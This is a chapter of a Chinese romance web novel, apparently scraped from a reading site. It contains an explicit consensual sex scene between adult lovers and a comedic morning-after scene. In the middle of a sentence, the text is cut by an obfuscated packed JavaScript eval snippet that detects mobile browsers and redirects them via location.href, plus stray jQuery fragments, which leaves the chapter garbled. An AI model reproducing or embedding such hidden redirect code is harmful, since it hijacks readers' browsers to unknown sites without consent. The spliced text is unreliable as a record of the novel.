117. 第 117 章

作品:《我要你爱我

    自己动手是什么意思?


    夏夕怡微微喘着,大脑有些宕机。


    可谢涧没有要教她的意思,就一下一下吻她,让她自己思考。


    几秒后,吻落到了脖子上,夏夕怡的手指忍不住一勾。


    深红色的东西冒出了头,手一松,裤沿又夹住了它。


    谢涧闷哼一声,直起腰,手仍在夏夕怡的脸侧摩挲。


    “看不出来,这么会折磨人?”他低声问。


    夏夕怡的脸飞速烫了起来,意识到自己要做什么,抬起另一只手去拉。


    她的动作生涩且慢,让谢涧几乎后悔让她自己动手。


    那白皙的手时不时与深红色撞上,视觉效果造成的冲击太大,让他脖颈处冒起了青筋。


    夏夕怡好不容易哆嗦着将那黑色短裤扔到地上,视线还未挪开,盯着某处,“怎……怎么变颜色了——”


    话没说完,转眼间又被压回床上。


    “等……我的还没……”她的手抵在男人的肩上低声说。


    “嗯。”谢涧低头去咬她的唇。


    一只手臂搂在她的腰上,另一只手很熟练地将三角裤拉下。


    两个人终于没有了所有束缚,紧紧地拥抱着,亲吻着,感受着对方的肌肤纹理,品味着对方的独特气息。


    床单被揉得凌乱,两个人躺得也十分随意,只知道不停地吻。


    谢涧喜欢那两粒粉果,总要吮咬到它发红为止。


    夏夕怡抱着他的头,眼睛眯着,眼尾发红又透着水光。


    她深知这一次会做到什么程度,并且是她自愿,但她依旧控制不住地感到害怕。


    颤抖的肩膀被温热的掌心包裹,谢涧耐心地安抚她,然后捞起她的膝弯,搭在自己腰上。


    夏夕怡有些茫然地眨着眼,看他不知道从哪取出了一盒套。


    很迅速地咬开,戴上,又压下来吻她。


    不只是吻,还要磨她,磨得她膝盖发颤,感觉床单都被染湿了。


    “谢涧……”她的声音很微弱,像是下意识发出的声音。


    “夏夕怡。”


    谢涧吻她的动作停了,直起身,对上夏夕怡泛着水光有些茫然的双眼。


    他摁了下对方通红的眼睛,嗓音很哑,“有些话的原本想明天再说,但没办法了。”


    夏夕怡捏着他的肩,忽然有些紧张。


    “你刚刚说,想要我爱你。”谢涧笑了笑,“这个愿望你很早就实现了。”


    夏夕怡的心跳开始快起来。


    “夏夏。”谢涧说。


    “第一次吻你的时候,我就已经爱上你了。”


    只是他那时候不知道什么是爱,也不会去爱人。


    “曾经的我顾虑很多,也做了很多错事,其实严格意义上,许诺过的补偿,我也并没有做到什么实际意义上的行动。”


    “因为你是个很棒的小姑娘,我不知道还能给你什么,脑子里只有一个笼统的念头——我要加倍地爱你。”


    “可爱无法定义深浅与好坏,而你此刻已经不缺这些东西,我想了许久,也不知道我身上到底有什么是独特的。”


    爱让人自卑,谢涧无时无刻不在担忧夏夕怡会再一次离他而去。


    “一直到刚刚,你的话让我意识到,我的独特之处在于,我拥有你的目光。”


    “而我也并不应该想,如何才能让你一直留在我身边,而应该是——”


    “你留在我身边的时候,如何让你感到幸福。”


    夏夕怡的心脏像是要炸开一样。


    她的眼睛变得湿润,眼泪滑落,勾着他的脖子想去吻他。


    “夏夏。”他的拇指抵住了她的唇,语气变得认真,“那个项目合同已经彻底签下,那份赌约我有八成把握实现,钱我有很多,连同我的人都是你的,还有人生保障,无论我们是否会一辈子在一起,我都会保证你顺顺利利,功成名就。”


    不做困住鸟儿的笼,而做托举鸟儿翱翔的风。


    谢涧第一次说这么多话,做了他所能够做的一切保证。


    夏夕怡的胸口快速起伏着,低头在他肩上擦了擦眼泪,再清晰地看向他的脸。


    “夏夏。”谢涧第三次亲昵地喊她,“我好像从来没有问过你……”


    “你愿意和我在一起吗?”


    一句情人开始前再普遍不过的话,在他们这却成了历遍千辛才终于翻过的山。


    一切模糊不清的亲密,终于在这一个问题下落实。


    夏夕怡的眼睛又模糊了,她以为,这些郑重的话之后应该是求婚才对。


    但她说:“我愿意。”


    没过一秒,她又说:“我们会在一起一辈子的。”


    从他第一次朝她伸出援手时,他的爱对夏夕怡来说就是世界上最独特的存在。


    谢涧呼吸颤着,眼眶也变得通红,低头吻她,“那你就是我女朋友了。”


    夏夕怡点点头,喊他:“男朋友。”


    “叫声别的。”谢涧开始得寸进尺。


    夏夕怡予取予求,嗓音软软,“哥哥。”


    谢涧重重吐了一口气,腰压下去,缓慢磨动。


    “再换一个。”他说。


    夏夕怡不知道该换些什么。


    “你去谢汐学校,在电话里喊的。”他提醒道。


    夏夕怡想起来了,她就乖乖喊,“宝贝。”


    谢涧的力道又重了。


    “你喜欢哪个?”夏夕怡扬起下巴亲他。


    “……”谢涧没说话,目光沉沉。


    夏夕怡忽然笑了,搭在他腰上的腿动了动,“我的腿好酸啊,老公。”


    下一秒,她的唇被堵住,男人的吻如狂风骤雨般袭来。


    水流汇聚在另一处,足够湿润,足够被开拓。


    谢涧挤进来的时候,夏夕怡偏开头大口呼吸着。


    手拿下来按住他的腹部,让他别动,停下来。


    可当男人真的停下来时,她又觉得难受,让他快点。


    一来二去,两人磨得满头是汗,但渴望却没有一刻停止。


    直到两人小腹叠合,谢涧将颤抖的小人抱在怀中,喘着气亲吻她的发梢,一点一点,挪动。


    夏夕怡的感官像是在一瞬间炸开,无法看见,无法听见,只剩疼痛……最后化成勾人的电流。


    头顶一下下碰到床头,她才恍惚自己在床上的位置。


    而很快,她的头就被轻柔护住,换成那只手的手背,一刻不停地被撞到床头。


    耳边声音很大,夏夕怡疑心是床发出来的,可紧接着唇被吻住,那声音就又停了。


    意识到声音的来源,她连害羞都没来得及,所有思绪就被撞碎。


    “谢涧……”她低声喊,尾音飘起,几乎听不出来是哪两个字。


    谢涧垂眸看她,眼底燃着火,汗从颧骨处滑落,滴在她脸侧。


    夏夕怡扬起脑袋,“哥、哥……别……”


    回应她的只有吻、深且重的力道,以及萦绕不绝的清脆声响。


    “哥哥!”


    不知过了多久,夏夕怡忽地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17431047|191648||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慌乱地睁开眼。


    床仍在晃,谢涧低哑地应了一声,“嗯?”


    夏夕怡无措地摇头,“别动了,想……”


    “嗯?”谢涧好像意识到什么,眸色又深了。


    夏夕怡十分难为情,可再继续下去真的无法收场,“想去洗手间……”


    谢涧忽地低声笑了,透着哑和欲,“嗯,在这就可以。”


    夏夕怡慌乱地眨着眼,谢涧低头和她深吻,用力撞上来。


    她的声音止不住地从嘴角溢出,眼睛睁得很大,眸光逐渐涣散,最后什么也顾不上了。


    “啊——”


    身上的力道突然收紧,耳边传来闷哼,紧接着无边的黑暗朝她袭来。


    —


    再睁开眼时,夏夕怡有些愣神,不知道今夕是何夕。


    耳边传来窗外的鸟叫,鼻尖嗅到玫瑰花的清香,一切都安静祥和。


    除了……


    “啊!”


    她刚准备撑着身子坐起来,下一秒就直挺挺地倒了下去。


    浑身骨头像是散架一般疼,夏夕怡的眼尾都冒出了泪花。


    而异样感最重的地方来源于某处,这令她迅速想起了昨晚的一切。


    “……”


    她双臂贴着身侧倒在床上,一动不动开始cos木乃伊。


    试探着摸了摸床单。


    还好,不是湿的。


    谢涧应该喊人换——不,应该是自己换的。


    夏夕怡闭上眼,觉得自己应该已经升天堂了才对。


    脸侧突然传来一股凉意,她肩膀一抖,睁开眼,对上谢涧的双眼。


    “是不是有点不舒服?”他问。


    何止是不舒服……


    夏夕怡又闭上了眼,气若游丝,“没事……我再睡会儿……”


    不知为何,谢涧静了静。


    然后他又开口,“那我抱你去洗漱。”


    夏夕怡疑惑地睁开眼。


    “怎么了?”


    “已经下午了,一会儿有客人来。”


    谢涧看了看她,“最好把脖子上的痕迹也遮一下。”


    “……”夏夕怡猛地想要坐起身,很快又疼得躺了回去。


    谢涧眉头微蹙,上前帮她揉腰,然后弯下身,“算了,你休息吧,我让他们改天来。”


    “不行的,临时爽约不好。”夏夕怡说。


    虽然不知道谢涧为什么要约人,约了谁,但她不愿意给他带来麻烦。


    她伸出手,“抱。”


    谢涧眼神轻动,看她几秒,忽地低下头去吻她。


    夏夕怡推着他的肩,“别亲了,人要来了。”


    “有什么好提前说的,我知道谢哥房间在哪,让我来给他个惊喜——”


    房门外突然传来顾阳大大咧咧的声音,紧接着下一秒,门被打开。


    谢涧眼疾手快地用被子盖住了夏夕怡。


    他直起身,眯着眼看向门外这没有礼貌的家伙。


    顾阳整个人呆立在原地,眼睛瞪得溜圆,嘴张开又合上,手指颤抖比划着,“你……她……你们……”


    他刚刚看到了什么?


    那么一个乖乖的小姑娘在谁床上?


    那么一个白白嫩嫩的女孩脖子上是什么?!


    “滚。”


    沉冷的声音传入耳,顾阳就猛地将房门关上了。


    “怎么了?”


    身后,姜悦悦疑惑地看着他。


    顾阳满脸悲愤,深吸一口气。


    “畜生啊……”